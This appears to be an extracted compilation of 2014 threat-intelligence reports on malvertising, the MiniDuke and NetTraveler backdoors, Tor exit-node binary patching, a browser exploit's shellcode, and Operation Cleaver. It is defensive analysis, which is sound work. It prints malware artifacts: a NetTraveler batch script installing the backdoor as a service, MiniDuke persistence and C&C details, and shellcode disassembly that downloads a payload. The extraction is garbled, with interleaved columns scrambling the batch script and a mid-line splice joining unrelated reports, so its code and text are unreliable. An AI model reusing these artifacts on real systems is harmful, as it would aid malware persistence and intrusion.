help to analyze +how effective the reach of a creative was. +Major Players in RTB +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites. They +enable micro-targeting of user +s interest, delivering content that a viewer would likely want to see. As we +have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools +and techniques to target companies with malware for persistent remote access in addition to traditional +click fraud, phishing, and identity theft. +Below are links to RTB providers to learn more. +http://www.sovrn.com/ +http://www.turn.com/ +http://indexexchange.com/ +https://www.dataxu.com/ +http://www.sitescout.com/rtb/ +http://first-impression.com/home/ +http://www.zedo.com/ +How Malvertisers Get $$ to Bid on RTB +Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression. +That is one ad, on one page, paid for by the malvertiser +s account. This implies that malvertisers have +deep pockets, spending hundreds of dollars on ad impressions. So how do they get money to spend on +these malicious campaigns? +Invincea recently saw a malvertiser win a bid and delivered a Java exploit. This exploit copied a fully +functional version of Chrome into the Java cache directory, and that version of Chrome launched in the +background and proceeded to visit websites and click on specific ad banners. It is presumed that these +ad banners paid revenue via referral bonuses to the malvertiser. By paying 65 cents to install a +background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not +thousands of dollars in advertising referral income. It is a pretty good return on investment, which in turn +allows the malvertiser to fund his micro-targeted malvertising attack campaign. +It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high. Malvertising +is not only a danger to end users, but it is a danger to the advertising industry as well. The image from +Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java +to run in the background. Invincea detected this attack and killed the infection attempt. This is one +instance where the malvertiser wasted his 65 cents. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 16: Event tree of click fraud malvertising exploit +It should be noted that Invincea is uniquely capable of stopping this type of attack. The introduction of +Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV +and whitelisting applications industry. In this instance, the host was almost converted to a click-fraud bot. +But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other +more insidious purpose. +Where Malvertisers Host Exploits +The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit +pages is driving RTB malvertising. Invincea has witnessed a rash of exploit kits and landing pages hosted + Compromised WordPress Blogs +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Unconfigured Apache hosts +Cloud-based NGINX subdirectories +Government and News pages in Poland +Free Hosting sites such as ua.in +In most instances, the landing pages are preconfigured with the exploit kit. The malvertiser creates the +redirection in his normal ad prior to raising his bids to winning levels. Once several victims are confirmed, +those malicious landing pages have the content erased, and the automatic redirection removed to serve +normal + ads again. +Real World Examples of RTB Malvertising Captured by Invincea +Figures 17 through 21 in the following are screenshots from Invincea +s Threat Management console from +various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad +bidding. +Figure 17: Recent Blaze.Com RTB Kryptik malvertising via GumGum +Figure 18: Online Ammunition Forum had RTB malvertising delivered. Exploit landing page in +In.ua. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via +German provider: +Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from +Polish government landing page exploit kits. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor. Java +exploit hosted at unconfigured Nginx host. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Ransomware Campaign via Malvertising +In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall +ransomware attacks via Real Time Ad Bidding. We observed Real Time Ad bidding platforms, including +OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising +scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads. +Ransomware is a particularly pernicious form of malware that fully encrypts the victim +s disk and data +files, including remote storage, then demands payment of anywhere from $300 to $1000 in return for the +decryption key. Users are held hostage from their own work, pictures, personal, and proprietary material. +To learn more about the scourage of ransomware, see this blog. +Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the +attacker that is delivering the malicious ads. According to Invincea analysis of ads delivered from firstimpression.com, winning ad bids ranging from as low as 30 cents and as high as $1.70, were delivered by +a block of unique identifiers. It is highly likely that the same attackers are using other RTB ad platforms. +This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation +methods. Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular adsupported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web +exploits. Merely visiting any ad-supported site may result in a CryptoWall ransomware infection. +Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files +on the disk, and demands bitcoin payment to unlock the files. Many companies have fallen prey to this +attack over the past few months, making this one of the most successful Ransomware campaigns to date. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Analysis of CryptoWall Malvertising Infections +Mitigated Infection Event Sports.Yahoo.com +Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs. This winning +ad placement ran on sports.yahoo.com + an Alexa Top 4 rated site. Highlighted in order in Figure 22 is +the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and +the 3rd party ad platform of first-impression.com. +Analysis (Original report): +Figure 22: CryptoWall 2.0 infection report +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Timeline Analysis (Original Report): +Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall. +Figure 23: Network connections from CryptoWall 2.0 +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +In addition, you can see the ransom note being written to disk on an infected machine in the audit logs +in Figure 24. +Figure 24: File writes including the ransom note from CryptoWall infection +Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com. Items +highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on +sports.yahoo.com, which is 60 cents. +Figure 25: Winning malvertising bid with fields embedded in URL +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall +malware that were blocked and audited by Invincea, including the websites that delivered the ads via a +third-party ad network over the past month. +userID, CampaignID and CommonName +748568&margin=0.4&cid=155493&bn=wheelie +748568&margin=0.4&cid=155493&bn=wheeljack +748163&margin=0.4&cid=155330&bn=wheeljack +748566&margin=0.4&cid=155493&bn=redalert +746705&margin=0.4&cid=154897&bn=dc16 (unknown) +748480&margin=0.4&cid=155474&bn=redalert +748600&margin=0.4&cid=155528&bn=inferno +748418&margin=0.4&cid=155453&bn=inferno +748270&margin=0.4&cid=155380&bn=sj10 (skipjack) +748417&margin=0.4&cid=155453&bn=wheeljack +Website Delivering Malvertising +Hotair.com +webmail comcast +theblaze.com +sports.yahoo.com +www.searchtempest.com +viewmixed.com +rr webmail +lucianne.com +thanhniennews.com +mariowiki.com +Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the +To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the +malicious ads they were serving to the website visitors. It is likely they were not aware without ad +screening technology. +In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and +prevented CryptoWall from encrypting the user +s file system and holding it hostage. Had the user not +been running Invincea, the attack would likely have been successful, and the only way the user would +have had to recover the encrypted files would be to pay the attacker the ransom. This is an effective +ransom technique, and one that is paying off well for the attackers, who use the income from the +attacks to purchase Real Time Ad Bids on RTB networks to infect more users. +Central Hosting of Clean Content +Most RTB ad providers allow for advertisers to host their own ad content. This allows advertisers to +directly collect web impression data of who is hitting which ads, from where, by which IPs, which useragent strings, and just about anything else you could log about a website visit. In addition, the advertising +network doesn +t have to utilize their own disk space to host the image files, the flash videos or other +online content. RTB networks simply do the auctioneering and redirection to the winning content. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +It is this weakness in security that malvertisers are taking advantage of. If ad networks were to switch to +a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of +malvertising would drop dramatically. +The RubiconProject has a Seller +s Cloud, which could be a security model for the RTB industry. It is +inherently more secure way of hosting ad content. +How to Protect Yourself from Micro-targeted Malvertising +Operation DeathClick is an active campaign to micro-target companies via malvertising in order to +compromise their networks. Unfortunately, the micro-targeting malvertising technique evades almost all +network controls and traditional endpoint anti-virus solutions. Invincea can protect users from this attack +type among other targeted and opportunistic web-based threats. For half the price of a candy bar, +attackers have the unprecedented ability to deliver malware to you through your web browser simply +because of your IP address space and your industry vertical. Most of the attacks featured here were not +detected by standard Anti-Virus because the malware hashes constantly change. +Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear +and disappear within minutes. +Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not +be able to block malicious malvertisers quickly enough. +Invincea protected users can simply browse and click anything online without fear of compromise or +targeted malvertising attacks. +Non-Invincea users can attempt to OptOut of directed targeting where you can. European privacy laws +for forcing most ad providers to offer the opt-out service; however, you often have to visit each ad +provider individually to choose to opt out. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Note, that opting out merely places a blocking cookie in your browser. This means that ad providers will +not target or retarget based on cookies. But as shown above, the new targeted advertising is via IP +intelligence. +http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ +http://preferences-mgr.truste.com/ +http://www.ghosteryenterprise.com/global-opt-out/ +Release Notes +10/27: For clarification, Invincea has added additional notes in this version that the websites shown here +and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated +by malvertisers to target companies for persistent remote access, click fraud, and other nefarious +activities. This is not a reflection on these companies, nor the services they provide. This paper +highlights the problem for greater awareness so the industry collectively can combat this problem +perhaps with more effective screening at the source prior to displaying ads. +Invincea, Inc. +Release Date: 10.27.2014 +Miniduke still duking it out +At the end of April Microsoft announced that a vulnerability in Word was actively being exploited. This +vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which +can be found on the HP Security Research blog. We have since seen multiple cases where this exploit is +used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke +(also known as Win32/SandyEva). +MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender. Some +of the characteristics of MiniDuke + such as its small size (20 KB), its crafty use of assembly +programming, and the use of zero-day exploits for distribution + made it an intriguing threat. Although +the backdoor is still quite similar to its previous versions, some important changes were made since last +year, the most notable being the introduction of a secondary component written in JScript to contact a +C&C server via Twitter. +The RTF exploit document +The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to +the documents that were used in 2013, which were of a political nature. We received the document on +April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header. +The payload remains quite small at only 24 KB. +The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and +straightforward. After decrypting itself and obtaining the addresses of some functions exported by +kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named + which is +subsequently loaded by calling kernel32!LoadLibraryA. +An interesting thing about the shellcode is that before transferring control to any API function it checks +the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by +security software and monitoring tools. If any of these are found the shellcode skips the first 5 bytes of the +function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp) +and then jumping to the function code as illustrated below. +The next graph presents the execution flow of this malware when the exploitation is successful. As +mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as +the main module and the TwitterJS module. +Execution flow of MiniDuke +Main Component +Installation +Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the +current directory is %TEMP%. If either of those conditions is met the malware assumes it is run for the +first time and it proceeds with its installation onto the system. MiniDuke gathers information about the +system and encrypts its configuration based on that information, a method also used by OSX/Flashback +(this process is called watermarking by Bitdefender). The end result is that it is impossible to retrieve the +configuration of an encrypted payload if analyzing it on a different computer. The information collected on +infection has not changed since the previous version and consists of the following values: +volume serial number (obtained from kernel32!GetVolumeInformationA) +CPU information (obtained with the cpuidinstruction) +computer name (obtained from kernel32!GetComputerNameA) +Once the encrypted version of the malware is created, it is written into a file in the +%ALLUSERSPROFILE%\Application Data directory. The name of the file is randomly picked from the +following values (you can find this listing and those of the next screenshots on the VirusRadar description: +The filename extension is also picked randomly from the following list: +To persist on the infected system after reboots, the malware creates a hidden .LNK file in the +Startup +directory pointing to the modified main module. The name of the .LNK file is randomly drawn from the +following values: +The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following +command: +C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function + Which +gives something like: +C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn +Operation +When the malware is loaded by rundll32.exe and the current directory isn +t %TEMP%, the malware starts +with gathering the same system information as described in the +Installation + section to decrypt +configuration information. As with the previous version of MiniDuke, it checks for the presence of the +following processes in the system: +If any of these are found in the system the configuration information will be decrypted incorrectly, i.e. the +malware will run on the system without any communication to C&C servers. If the configuration data is +decrypted correctly, MiniDuke retrieves the Twitter page of @FloydLSchwartz in search of URLs by +which to reach C&C server. It looks for the tag +X))) + on the page (MiniDuke was searching for +uri! +previous samples) and if the tag is found it decrypts a URL from the data that follows it. The Twitter +account @FloydLSchwartz does exist but has only retweets and no strings with the special tag. +As the next step, MiniDuke gathers the following information from the infected systems: +computer name and user domain name +country code of the infected host IP address obtained from http://www.geoiptool.com +OS version information +domain controller name, user name, groups a user account belongs to +a list of AV products installed onto the system +Internet proxy configuration +version of MiniDuke +This information is then sent to the C&C server along with the request to download a payload. The final +URL used to communicate with the C&C server looks like this: /create.php?= + Those tokens are derived as follows: +url_start + the URL retrieved from the twitter account +rnd_param + randomly generated of lower case alphabet characters parameter name in the query +string of the URL +system_info + base64 encoded and encrypted system information +An example of such a URL is given below: +The payload is downloaded in the file named +fdbywu + using the urlmon!URLDownloadToFileA API: +The downloaded payload is a fake GIF8 file containing encrypted executable. The malware processes the +downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using +RSA-2048, then decrypts it, stores in a file and finally executes it. The RSA-2048 public key to verify +integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke. +Twitter Generation Algorithm +In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to +search for based on the current date. The search query changes roughly every seven days and is similar to +the backup mechanism in previous versions that was using Google searches. A Python implementation of +the algorithm can be found in Appendix B. +TwitterJS component +The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of +code into it and redirecting the exported functions to this code. Here is how the export address table of the +patched binary looks after modifications. +This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE% +folder. Finally this DLL is registered as the Open command when a drive is open, which has the effect of +starting the bot every time the user opens a disk drive. Below you can find the content of +the init.cmd script used by MiniDuke to install TwitterJS module onto the system. +When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the +core logic of the module. +Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of +two separate obfuscations, we can see that the variables have different values. This is probably done to +thwart security systems that scan at the entry points of the JScript engine. +Result of first obfuscation +Result of second obfuscation +The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute. It first +generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the +real account name, not the Twitter account name. The bot then visits the Twitter profiles returned by the +search and looks for links that end with +.xhtml +. When one is found, it replaces +.xhtml + with +.php + and +fetches that link. Information about the computer is embedded in the Accept HTTP header. +The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a +rolling XOR key to decrypt the JScript code. Finally, MiniDuke calculates a hash of the fetched script and +compares it with a hardcoded hash in the TwitterJS script. If they match, the fetched script is executed by +calling eval(). +The tale of the broken SHA-1 +The code hashing algorithm used by the component looks very much like SHA-1 but outputs different +hashes (you can find the complete implementation in Appendix B. We decided to search for what was +changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered +to make collisions feasible. We couldn +t find an obvious difference; all the constants and the steps of the +algorithm were as expected. Then we noticed that for short messages only the second 32-bit word was +different when compared to the original SHA-1. +SHA1( +test +) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 +TwitterJS_SHA1( +test +) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 +By examining how this 2nd word was generated we finally discovered that this was caused by a scope +issue. As shown below the SHA-1 function used a variable named f: the function Z() is then called which +also uses a variable named f without the var keyword, causing it to be treated as a global variable rather +than local to the function. The end result is that the value of f is also changed in the SHA-1 function which +affects the value of the 2nd word for that round and ultimately the whole hash for long messages. +A likely explanation of how this problem came to be is +that the variable names were changed to single letters +using an automated tool prior to embedding it in the +payload. The 2 f variables probably had different names +in the original script which avoided the issue. So this +leaves us with two takeaways: 1) The difference in the +hashing algorithm was unintentional and 2) Always +declare your local variables with the var keyword. ;-) +Twitter DGA accounts +We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered. +At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated +between August 21st and 27th 2013. This account has no tweets. In an effort to discover potential victims, +we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS +components and set up tweets with encrypted URLs so that an infected computer would reach out to our +server. So far we have received connections via the TwitterJS accounts from four computers located in +Belgium, France and the UK. We have contacted national CERTs to notify the affected parties. We detect +the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components +as Win32/SandyEva.G. +Appendix A: SHA-1 hashes +SHA-1 +Description +58be4918df7fbf1e12de1a31d4f622e570a81b93 +RTF with Word exploit CVE-2014-1761 +b27f6174173e71dc154413a525baddf3d6dea1fd +MiniDuke main component (before config encryption) +c059303cd420dc892421ba4465f09b892de93c77 +TwitterJS javascript code +Appendix B &C: DGA algorithms, Twitter DGA accounts +The DGA scripts and account lists have been moved to our Github account : +https://github.com/eset/malware-research/tree/master/miniduke +Author ESET Research, ESET +Background +Summary +After creating and using a new exitmap module, I found downloaded binaries being patched through a Tor +exit node in Russia. Tor is a wonderful tool for protecting the identity of journalists, their sources, and +even regular users around the world; however, anonymity does not guarantee security. +At DerbyCon this year I gave a presentation of my binary patching framework, BDF. Many binaries are +hosted without any transport layer security encryption. Some binaries are signed to prevent modification, +but most are not. During that presentation, I talked about the MITM patching of binaries during +download, and showed how easy it was using BDFProxy. I also mentioned that similar techniques are +probably already in use on the Internet. +I had only circumstantial evidence until recently. +Circumstantial Evidence +Microsoft Updates Error +I tested BDFProxy against a number of binaries and update processes, including Microsoft Windows +Automatic updates. The good news is that if an entity is actively patching Windows PE files for Windows +Update, the update verification process detects it, and you will receive error code 0 +80200053. +This error code indicates a failed signature verification for the downloaded binary. Windows Update +produces this error code for three root causes: +1. The file was truncated during download. Very possible. +2. The file was patched during download. Improbable. +3. MS certificate verification is broken. Very improbable. +If you Google the error code, the official Microsoft response is troublesome. +The first link will bring you to the official Microsoft Answers website. Notice that this question has been +viewed over 34,000 times. +If you follow the three steps from the official MS answer, two of those steps result in downloading and +executing a MS +Fixit + solution executable. +If an adversary is currently patching binaries as you download them, these +Fixit + executables will also be +patched. Since the user, not the automatic update process, is initiating these downloads, these files are not +automatically verified before execution as with Windows Update. In addition, these files need +administrative privileges to execute, and they will execute the payload that was patched into the binary +during download with those elevated privileges. +Note: a Windows Home or Enterprise user could configure AppLocker to only run signed binaries. +Nullsoft Scriptable Install System (NSIS) Error +NSIS provides a form of self-checking that weakly ensures that a binary was not modified after compiling. +It issues the following error when the self-checking fails: +Looking at Google Trends, this error message is quite common: +Notice the top countries where this search is originating: +A user can receive an error code for any of the following three root causes: +1. The binary was patched. Improbable. +2. The binary was truncated due to a poor Internet connection. Very probable. +3. An actual error with the install program. Very improbable. +This combined circumstantial evidence left me wondering if there is an individual or group actively +patching binaries on the greater Internet. +Caught Red-Handed +To have the best chance of catching modified binaries in transit over the Internet, I needed as many exit +points in as many countries as possible. Using Tor would give me this access, and thus the greatest chance +of finding someone conducting this malicious MITM patching activity. +After researching the available tools, I settled on exitmap. Exitmap is Python-based and allows one to +write modules to check exit nodes for various modifications of traffic. Exitmap is the result of a research +project called Spoiled Onions that was completed by both the PriSec group at Karlstad University and SBA +Research in Austria. +I wrote a module for exitmap, named patchingCheck.py, and have submitted a pull request to the official +GitHub repository. See the usage example. +Soon after building my module, I let exitmap run. It did not take long, about an hour, to catch my first +malicious exit node. +Details from https://check.torproject.org/exit-addresses +ExitNode 8361A794DFA231D863E109FC9EEEF21F4CF09DDD +Published 2014-10-22 01:06:40 +LastStatus 2014-10-22 02:02:33 +ExitAddress 78.24.222.229 2014-10-22 02:08:01 +This exit node was very active. +Upon further inspection, the original binary is wrapped within another binary similar to the technique +mentioned in the research from Flex Grobert, et al, titled +Software Distribution Malware Infection +Vector + (2008). However, these malware authors solved the icon issue noted in the paper by keeping the +.rsrc section intact. By using a wrapper for the original binary, the malware authors do not invoke the +NSIS error and bypass simple self-checking mechanisms. +Out of over 1110 exit nodes on the Tor network, this is the only node that I found patching binaries, +although this node attempts to patch just about all the binaries that I tested. The node only patched +uncompressed PE files. This does not mean that other nodes on the Tor network are not patching binaries; +I may not have caught them, or they may be waiting to patch only a small set of binaries. +Leviathan has notified the Tor Project of the issue. +Going Forward +Companies and developers need to make the conscious decision to host binaries via SSL/TLS, whether or +not the binaries are signed. All people, but especially those in countries hostile to +Internet freedom, +well as those using Tor anywhere, should be wary of downloading binaries hosted in the clear +and all +users should have a way of checking hashes and signatures out of band prior to executing the binary. +NetTraveler APT Gets a Makeover for 10th Birthday +We have written about NetTraveler before HERE and HERE. +Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters +using an updated version of the NetTraveler backdoor. +Here's an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014. +The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file. +File name +"Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki +ashkarilanmaqta.doc" +b2385963d3afece16bd7478b4cf290ce +Size +381,667 bytes +The .DOC file, which in reality is a "Single File Web Page" container, also known as "Web archive file", +appears to have been created on a system using Microsoft Office - Simplified Chinese. +It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as +Exploit.MSWord.CVE-2012-0158.db. +If run on a vulnerable version of Microsoft Office, it drops the main module as "net.exe" (detected by +Kaspersky Lab products as Trojan-Dropper.Win32.Agent.lifr), which in turn installs a number of +other files. The main C&C module is dumped into +"%SystemRoot%\system32\Windowsupdataney.dll", (detected by Kaspersky as TrojanSpy.Win32.TravNet.qfr). +Name +WINDOWSUPDATANEY.DLL +c13c79ad874215cfec8d318468e3d116 +Size +37,888 bytes +It is registered as a service (named "Windowsupdata") through a Windows Batch file named "DOT.BAT" +(detected by Kaspersky Lab products as Trojan.BAT.Tiny.b): +@echo off +@reg add +"HKEY_LOCAL_MACHINE\ +SOFTWARE\Microsoft\Win +dows +@echo off +NT\CurrentVersion\Svcho +st" @reg +/v Windowsupdata +add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Svchost" /v +REG_MULTI_SZ /d +Windowsupdata +REG_MULTI_SZ +Windowsupdata +Windowsupdata /f +@reg add +@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v +"HKEY_LOCAL_MACHINE\ +SYSTEM\CurrentControlSe +ImagePath /t REG_EXPAND_SZ /d %SystemRoot%\System32\svchost.exe -k Windowsupdata /f +t\Services\Windowsupdat +a" /v +ImagePath +@reg +add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" +REG_EXPAND_SZ /d +DisplayName +REG_SZ +Windowsupdata +%SystemRoot%\System32 +\svchost.exe -k +@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" +Windowsupdata +@reg +ObjectName +/t REG_SZ /d LocalSystem /f +"HKEY_LOCAL_MACHINE\ +SYSTEM\CurrentControlSe +@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v +t\Services\Windowsupdat +ErrorControl /t REG_DWORD /d 1 /f +a" /v DisplayName /t +REG_SZ /d +@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" +/v Start /t +Windowsupdata +@reg +REG_DWORD +/d 2 /f +"HKEY_LOCAL_MACHINE\ +SYSTEM\CurrentControlSe +@reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters" +t\Services\Windowsupdat +/v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\Windowsupdataney.dll /f +a" /v ObjectName /t +REG_SZ /d LocalSystem /f +@reg add +make sure the malware isn't running multiple times, it uses the mutex "SD_2013 Is Running!" to mark +"HKEY_LOCAL_MACHINE\ +SYSTEM\CurrentControlSe +presence in the system. Other known mutexes used by older and current variants include: +t\Services\Windowsupdat +a" /v ErrorControl /t +REG_DWORD /d 1 /f +Boat-12 Is Running! +@reg add +"HKEY_LOCAL_MACHINE\ +DocHunter2012 Is Running! +SYSTEM\CurrentControlSe +t\Services\Windowsupdat +Hunter-2012 Is Running! +a" /v Start /t REG_DWORD +/d 2 /fNT-2012 Is Running! +@reg add +"HKEY_LOCAL_MACHINE\ +NetTravler Is Running! +NetTravler2012 Is Running! +SH-2011 Is Running! +ShengHai Is Running! +SD2013 is Running! +The malware configuration file is written to the "SYSTEM" folder (as opposed to SYSTEM32) and has a +slightly new format compared to "older" NetTraveler samples: +For the record, here's what an older NetTraveler config file looks like: +Obviously, the developers behind NetTraveler have taken steps to try to hide the malware's configuration. +Luckily, the encryption is relatively simple to break. +The algorithm is as follows: +for (i=0;i dds eax +18184100 +770b5f58 ntdll!ZwProtectVirtualMemory +18184104 +1818411c +18184108 +ffffffff +1818410c +181840e8 +18184110 +181840ec +18184114 +00000040 +18184118 +181840e4 +Inside the shellcode, it saves the current stack pointer to 0 +18181800 to safely return to the caller. +dword ptr ds:[18181800h],ebp +Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid +application crashes. +18184123 b820609f06 +18184128 90 +eax,69F6020h +18184129 90 +1818412a c700c0f22169 +dword ptr [eax],offset +Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0) +18184133 b800401818 +18184138 90 +18184139 90 +1818413a c700fe030000 +eax,18184000h +dword ptr [eax],3FEh +ds:0023:18184000=3ffffff0 +The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack +base/limit. +18184140 8be5 +esp,ebp +18184142 83ec2c +esp,2Ch +18184145 90 +18184146 eb2c +18184174 +The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to +bypass mitigations that use the debug registers. +18184174 57 +push +18184175 81ece0050000 +esp,5E0h +1818417b c7042410000100 +dword ptr [esp],10010h +18184182 8d7c2404 +edi,[esp+4] +18184186 b9dc050000 +ecx,5DCh +1818418b 33c0 +eax,eax +1818418d f3aa +rep stos byte ptr es:[edi] +1818418f 54 +push +18184190 6afe +push +0FFFFFFFEh +18184192 b8b308b476 +eax,offset kernel32!SetThreadContext +call +(76b408b3) +18184197 ffd0 +The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as +an image. +Mitigation +Using EMET may break the exploit in your environment and prevent it from successfully controlling your +computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests. +Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10. +Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will +prevent the exploit from functioning. +Threat Group History +The APT group responsible for this exploit has been the first group to have access to a select number of +browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at +lateral movement and are difficult to track, as they typically do not reuse command and control +infrastructure. They have a number of backdoors including one known as Pirpi that we previously +discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi +payload discussed in this previous case. +As this is still an active investigation we are not releasing further indicators about the exploit at this time. +Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart +Villeneuve and Yichong Lin for their support, research, and analysis on these findings. +This entry was posted in Advanced Malware, Exploits, Targeted Attack, Uncategorized and tagged zeroday by Xiaobo Chen, Dan Caselden and Mike Scott. Bookmark the permalink. +Operation Cleaver: The Notepad Files +You see some strange stuff out there on the networks where attackers are active. Certainly the stash of files +unearthed during the Operation Cleaver investigation included much of the bizarre and something of the +terrible. Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, +and now that Operation Cleaver is public, I'll relate the lurid technical details. +The Notepad Files +The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, +commingled with the detritus of past attack campaigns and successful compromises. They were at once +familiar and strange, and they were made still stranger and more perplexing by their location and the +circumstances of their discovery. All around them was a clutter of credential dumps, hacking utilities, +RATs, and even legitimate software installers, but the files in question were none of these. They were +Notepad. +Figure 1. The Notepad Doppelg +ngers. +Of course, a purloined Notepad icon in malware is nothing new, but something different was going on +here. Within each of the two families, all of the samples had the same main icon, file size, and version +information, yet each one had a distinct hash. At the time, only one of those five hashes existed on the +internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003. +Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other +member of the first family with the confirmed legitimate Notepad, and we matched the second family with +the 32-bit US English Notepad from Windows 7 (not present in the original set). +File Name +File +Size +File Version +83868cdff62829fe3b897e2720204679 +notepad.exe +66,048 +5.2.3790.3959, Chinese +(Simplified, PRC) +bfc59f1f442686af73704eff6c0226f0 +NOTEPAD2.EXE +179,712 +6.1.7600.16385, English (United +States) +e8ea10d5cde2e8661e9512fb684c4c98 +Notepad3.exe +179,712 +6.1.7600.16385, English (United +States) +baa76a571329cdc4d7e98c398d80450c +Notepad4.exe +66,048 +5.2.3790.3959, Chinese +(Simplified, 